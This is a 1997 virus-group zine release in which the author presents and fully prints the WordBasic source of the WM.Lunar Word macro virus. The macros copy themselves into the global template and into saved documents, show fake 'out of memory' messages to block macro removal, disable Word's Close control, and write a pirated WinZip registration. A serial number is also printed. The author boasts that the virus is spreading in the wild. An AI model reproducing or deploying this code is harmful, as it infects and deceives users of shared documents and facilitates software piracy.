SLAM3.016: Lunar Word Macro Virus by Hyperlock [SLAM]
Lunar Word Macro Virus
by Hyperlock [SLAM]
Identification:
- VIRUSNAME: WM.Lunar.a
- SIZE: 17,920 Bytes (8 Macros)
- VERSION: v1.00
- ORIGIN: United Kingdom
- AUTHOR: Hyperlock
- DATE: June, 1997
Characteristics:
- Polymorphism: No
- Stealth: Disables all normal methods of macro deletion
- Encrypted: Yes
- Retro: No
- External Infection: No
- Other Properties: Auto-Registration of WinZip
- Word Version: 32-bit versions only (API calls)
VIRUS DESCRIPTION
This virus makes extensive use of the API, in particular user32.exe, to perform some otherwise impossible tasks. I have had it with messing about with Word's crappie built-in functions, and there is rarely anything interesting worth searching for that may be of any use and even if there are, they don't fuckin' work properly.
Being a lazy bastard, I have disabled most calls for macro viewing be just displaying a message box and not processing the request. I would have put some decent stealth on it, but am still fuckin' writing it. When finished, it will be an extension of Virtual Boy's add-in stealth method (nice one VB!), but should work a bit better and stops Word complaining about invalid add-ins when loading. I am still working on a tunnelling virus for Excel and is a 7-level tunneller at the moment! Getting better.
Anyway, back to business. Like I said, I have used basic stealth, but it works and will just annoy the fuck out of anyone without a brain. So, macros FileTemplates and ToolsMacro are both disabled. It's propagation is quite r obust, and is based loosely on the method of the Hyper virus (still not detected by virus scanners, and in case you wondered AV people, IT IS IN THE FUCKIN' WILD NOW!!! I.E., MORE THAN TWO COMPANIES).
The interesting bit is the use of the API to change Word's system menu. Any option can be altered, but in the case of the Lunar virus, it changes the Close option to SLAM and disables the option. You will also notice it disables the Close button as well, which isn't fuckin' surprising as it is the same ID. This now forces the use of FileExit to exit Word and it just so happens that I have made FileExit the payload. Well, fuck me if that was a coincidence!
The payload is non destructive to data, and even does some good from the user's point of view. The payload automatically registers WinZip 6.x (the current and future versions that support current registration details) to be 'SLAM Virus Team'. If a registration already exists then it leaves it. This removes the annoying start-up dialog box so it is good from that point of view.
So, to summarise, here are the virus's macros:
- AutoExec
- AutoOpen
- AutoClose
- FileExit
- FileSaveAs
- FileSave
- FileTemplates
- ToolsMacro
And lastly, in case YOU CAN'T BE FUCKIN' BOTHERED LOOKING AT THE CODE, here is the official 'SLAM Virus Team' WinZip registration name and code:
- Name: SLAM Virus Team
- SN: 47036847
If you are a lazy bastard, you can let this virus register it for you <<laugh>>.
Hyperlock [SLAM]
VIRUS CODE
----------------------------------------------------------------------------------------
REM
REM WM.Lunar virus
REM AutoExec macro
REM
Declare Function FindWindowA Lib "User32"(lpClassName$, lpWindowName As Long) As Integer
Declare Function GetFocus Lib "User32"() As Integer
Declare Function GetSystemMenu Lib "User32"(hWnd As Integer, bRevert As Integer) As Integer
Declare Function ModifyMenuA Lib "User32"(hMenu As Integer, nPosition As Integer, wFlags As Integer, wIDNewItem As Integer, lpString$) As Integer
Declare Function GetMenuItemID Lib "User32"(hMenu As Integer, nPos As Integer) As Integer
Declare Function GetSystemMenu Lib "User32"(hWnd As Integer, bRevert As Integer) As Integer
Sub MAIN
On Error Goto endsub
x = AlterMenu("SLAM", 6, 1)
endsub:
End Sub
Function AlterMenu(item$, item, flag)
hWnd = FindWindowA("OPUSAPP", 0)
hmenu = getsystemmenu(hwnd, 0)
hItem = getmenuitemid(hMenu, item)
AlterMenu = ModifyMenuA(hmenu, hitem, flag, - 10, item$)
End Function
----------------------------------------------------------------------------------------
REM
REM WM.Lunar
REM Autoopen macro
REM
Declare Function FindWindowA Lib "User32"(lpClassName$, lpWindowName As Long) As Integer
Declare Function GetFocus Lib "User32"() As Integer
Declare Function GetSystemMenu Lib "User32"(hWnd As Integer, bRevert As Integer) As Integer
Declare Function ModifyMenuA Lib "User32"(hMenu As Integer, nPosition As Integer, wFlags As Integer, wIDNewItem As Integer, lpString$) As Integer
Declare Function GetMenuItemID Lib "User32"(hMenu As Integer, nPos As Integer) As Integer
Declare Function GetSystemMenu Lib "User32"(hWnd As Integer, bRevert As Integer) As Integer
Sub MAIN
On Error Goto endsub
x = AlterMenu("SLAM", 6, 1)
DisableInput 1
ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0
ct$ = FileName$()
MacroCopy ct$ + ":autoexec", "global:autoexec", 1
MacroCopy ct$ + ":autoclose", "global:autoclose", 1
MacroCopy ct$ + ":autoopen", "global:autoopen", 1
MacroCopy ct$ + ":filesaveas", "global:filesaveas", 1
MacroCopy ct$ + ":filesave", "global:filesave", 1
MacroCopy ct$ + ":toolsmacro", "global:toolsmacro", 1
MacroCopy ct$ + ":filetemplates", "global:filetemplates", 1
profupdate
endsub:
End Sub
Sub profupdate
entry$ = GetPrivateProfileString$("virus", "lunar", "lunar.ini")
If entry$ = "" Then
SetPrivateProfileString("virus", "lunar", "1", "lunar.ini")
SetPrivateProfileString("virus", "author", "Hyperlock", "lunar.ini")
Else
a = Val(entry$) + 1
entry$ = Str$(a)
SetPrivateProfileString("virus", "lunar", entry$, "lunar.ini")
End If
End Sub
Function AlterMenu(item$, item, flag)
hWnd = FindWindowA("OPUSAPP", 0)
hmenu = getsystemmenu(hwnd, 0)
hItem = getmenuitemid(hMenu, item)
AlterMenu = ModifyMenuA(hmenu, hitem, flag, - 10, item$)
End Function
----------------------------------------------------------------------------------------
REM
REM WM.Lunar
REM Autoclose macro
REM
Sub MAIN
On Error Goto endsub
DisableInput 1
ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0
REM copy macros
ct$ = FileName$()
MacroCopy ct$ + ":autoexec", "global:autoexec", 1
MacroCopy ct$ + ":autoclose", "global:autoclose", 1
MacroCopy ct$ + ":autoopen", "global:autoopen", 1
MacroCopy ct$ + ":filesaveas", "global:filesaveas", 1
MacroCopy ct$ + ":filesave", "global:filesave", 1
MacroCopy ct$ + ":toolsmacro", "global:toolsmacro", 1
MacroCopy ct$ + ":filetemplates", "global:filetemplates", 1
autoopen.profupdate
endsub:
End Sub
----------------------------------------------------------------------------------------
REM
REM WM.Lunar
REM FileExit macro (Payload)
REM
Sub MAIN
On Error Goto endsub
name$ = GetProfileString$("WinZip", "Name")
sn$ = GetProfileString$("WinZip", "SN")
If name$ = "" Then
SetProfileString("Winzip", "Name", "SLAM Virus Team")
SetProfileString("Winzip", "SN", "47036847")
End If
endsub:
FileExit
End Sub
----------------------------------------------------------------------------------------
REM
REM WM.Lunar
REM FileSaveAs Macro
REM
Sub MAIN
On Error Goto endsub
DisableInput 1
ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0
DisableAutoMacros 0
SetDocumentDirty
Dim dlg As FileSaveAs
GetCurValues dlg
Dialog dlg
dlg.Format = 1
ct$ = FileName$()
MacroCopy "global:autoexec", ct$ + ":autoexec", 1
MacroCopy "global:autoclose", ct$ + ":autoclose", 1
MacroCopy "global:autoopen", ct$ + ":autoopen", 1
MacroCopy "global:filesaveas", ct$ + ":filesaveas", 1
MacroCopy "global:filesave", ct$ + ":filesave", 1
MacroCopy "global:toolsmacro", ct$ + ":toolsmacro", 1
MacroCopy "global:filetemplates", ct$ + ":filetemplates", 1
autoopen.profupdate
FileSaveAs dlg
REM bypass the if statement below
Err = 102
endsub:
If Err <> 102 Then
FileSaveAs dlg
End If
End Sub
----------------------------------------------------------------------------------------
REM
REM WM.Lunar
REM FileSave macro
REM
Sub MAIN
On Error Goto endsub
REM stops error 24 when macros already exist
DisableInput 1
ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0
DisableAutoMacros 0
SetDocumentDirty
REM Force document to be a template (change to template and save)
Dim dlg As FileSaveAs
GetCurValues dlg
dlg.Format = 1
FileSaveAs dlg
ct$ = FileName$()
MacroCopy "global:autoexec", ct$ + ":autoexec", 1
MacroCopy "global:autoclose", ct$ + ":autoclose", 1
MacroCopy "global:autoopen", ct$ + ":autoopen", 1
MacroCopy "global:filesaveas", ct$ + ":filesaveas", 1
MacroCopy "global:filesave", ct$ + ":filesave", 1
MacroCopy "global:toolsmacro", ct$ + ":toolsmacro", 1
MacroCopy "global:filetemplates", ct$ + ":filetemplates", 1
autoopen.profupdate
FileSave
REM bypass the if statement below
Err = 102
endsub:
If Err <> 102 Then
FileSave
End If
End Sub
----------------------------------------------------------------------------------------
REM
REM WM.Lunar
REM FileTemplates macro
REM
Sub MAIN
MsgBox("Not enough memory to perform this operation", "Microsoft Word", 48)
End Sub
----------------------------------------------------------------------------------------
REM
REM WM.Lunar
REM ToolsMacro macro
REM
Sub MAIN
MsgBox("Not enough memory to perform this operation", "Microsoft Word", 48)
End Sub
----------------------------------------------------------------------------------------
HL [SLAM]
